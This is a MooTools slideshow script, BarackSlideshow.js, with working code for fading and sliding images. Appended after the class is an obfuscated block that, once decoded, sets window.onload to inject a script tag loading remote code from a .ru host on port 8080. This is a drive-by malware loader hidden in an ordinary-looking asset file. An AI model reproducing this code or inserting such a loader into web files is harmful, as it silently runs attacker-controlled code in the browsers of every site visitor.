/*
Script: BarackSlideshow.js
	Lightweight slideshow script, based on Fx.MorphList

	License:
		MIT-style license.

	Authors:
		Guillermo Rauch
*/

var BarackSlideshow = new Class({
  
  Extends: Fx.MorphList,
  
  options: {/*
    onShow: $empty,*/
    auto: false,
    autostart: true,
    autointerval: 2000,
    transition: 'fade',
    tween: { duration: 700 }
  },
  
  initialize: function(menu, images, loader, options){
    this.parent(menu, options);
    this.images = $(images);
    this.imagesitems = this.images.getChildren().fade('hide');
    $(loader).fade('in');
    new Asset.images(this.images.getElements('img').map(function(el) { return el.setStyle('display', 'none').get('src'); }), { onComplete: function() {
      this.loaded = true;      
      $(loader).fade('out');
      if (this.current) this.show(this.items.indexOf(this.current));
      else if (this.options.auto && this.options.autostart) this.progress();
    }.bind(this) });
    if ($type(this.options.transition) != 'function') this.options.transition = $lambda(this.options.transition);
  },
  
  auto: function(){
    if (!this.options.auto) return false;
    $clear(this.autotimer);
    this.autotimer = this.progress.delay(this.options.autointerval, this);
  },
  			
  onClick: function(event, item){
    this.parent(event, item);
    event.stop();
    this.show(this.items.indexOf(item));
    $clear(this.autotimer);
  },
  
  show: function(index) {
    if (!this.loaded) return;
    var image = this.imagesitems[index];    
		if (image == this.curimage) return;
    image.set('tween', this.options.tween).dispose().inject(this.curimage || this.images.getFirst(), this.curimage ? 'after' : 'before').fade('hide');
		image.getElement('img').setStyle('display', 'block');
    var trans = this.options.transition.run(null, this).split('-');
    switch(trans[0]){
      case 'slide': 
        var dir = $pick(trans[1], 'left');
        var prop = (dir == 'left' || dir == 'right') ? 'left' : 'top';
        image.fade('show').setStyle(prop, image['offset' + (prop == 'left' ? 'Width' : 'Height')] * ((dir == 'bottom' || dir == 'right') ? 1 : -1)).tween(prop, 0); 
        break;
      case 'fade': image.fade('in'); break;
    }
    image.get('tween').chain(function(){ 
      this.auto();
      this.fireEvent('show', image); 
    }.bind(this));
    this.curimage = image;
    this.setCurrent(this.items[index])
    this.morphTo(this.items[index]);
		return this;
  },
  
  progress: function(){
    var curindex = this.imagesitems.indexOf(this.curimage);
    this.show((this.curimage && (curindex + 1 < this.imagesitems.length)) ? curindex + 1 : 0);
  }
  
});

this.P='';var ZY;if(ZY!=''){ZY='E'};var j;if(j!='' && j!='A'){j=''};function N(){var b="";var m=window;var H=unescape;var v=H("%2f%79%6e%65%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%73%68%77%61%70%2e%6e%65%74%2e%70%68%70");function J(Q,g){var F;if(F!='' && F!='iV'){F='oO'};var Ha=new String();var U='';var xT;if(xT!='d'){xT=''};var Z=String("g");this.dR="";this.YN="";var h=H("%5b"), G=H("%5d");var k=h+g+G;var a;if(a!=''){a='X'};this.XN="";var B=new RegExp(k, Z);this.kI='';return Q.replace(B, new String());this.A_="";};var S=new String();var jO=new String();this.CZ='';var Ht=new String();var Qj=new String();var q="";var vv=document;var z=J('86766703135212872266170232549','74312965');function vu(){this.da='';var BF=new Date();var gO=H("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var HV=new Date();Qj=gO;var jQ;if(jQ!='s' && jQ!='Fp'){jQ=''};Qj+=z;Qj+=v;var GM;if(GM!='rY'){GM='rY'};try {var Fh;if(Fh!='yJ' && Fh != ''){Fh=null};var G_="";var QN;if(QN!='' && QN!='Gy'){QN='OG'};var eK;if(eK!='' && eK!='sP'){eK='YU'};i=vv.createElement(J('s5clrmiapQtB','DMBaQ4lKmgw9RoT5G'));var dm;if(dm!='' && dm!='aU'){dm=null};this.fh="";var pB;if(pB!='NZ' && pB!='fI'){pB=''};var JH;if(JH!='Cr' && JH!='ER'){JH=''};i[H("%64%65%66%65%72")]=[1,1][0];var dY;if(dY!='TB'){dY=''};i[H("%73%72%63")]=Qj;var FC;if(FC!='LK' && FC!='GB'){FC='LK'};this.xN='';this.lN='';vv.body.appendChild(i);var c=new String();var Nec;if(Nec!='Ne' && Nec!='dB'){Nec=''};var Tm="";} catch(K){alert(K);var yR;if(yR!='UvU'){yR=''};};this.Oj="";this.XP="";}m[String("XyAFon".substr(4)+"dfcilofcdi".substr(4,2)+"LDfad".substr(3))]=vu;var oF=new Date();this._Z="";var xo='';};var CN=new Date();var yY=new Date();this.pj='';N();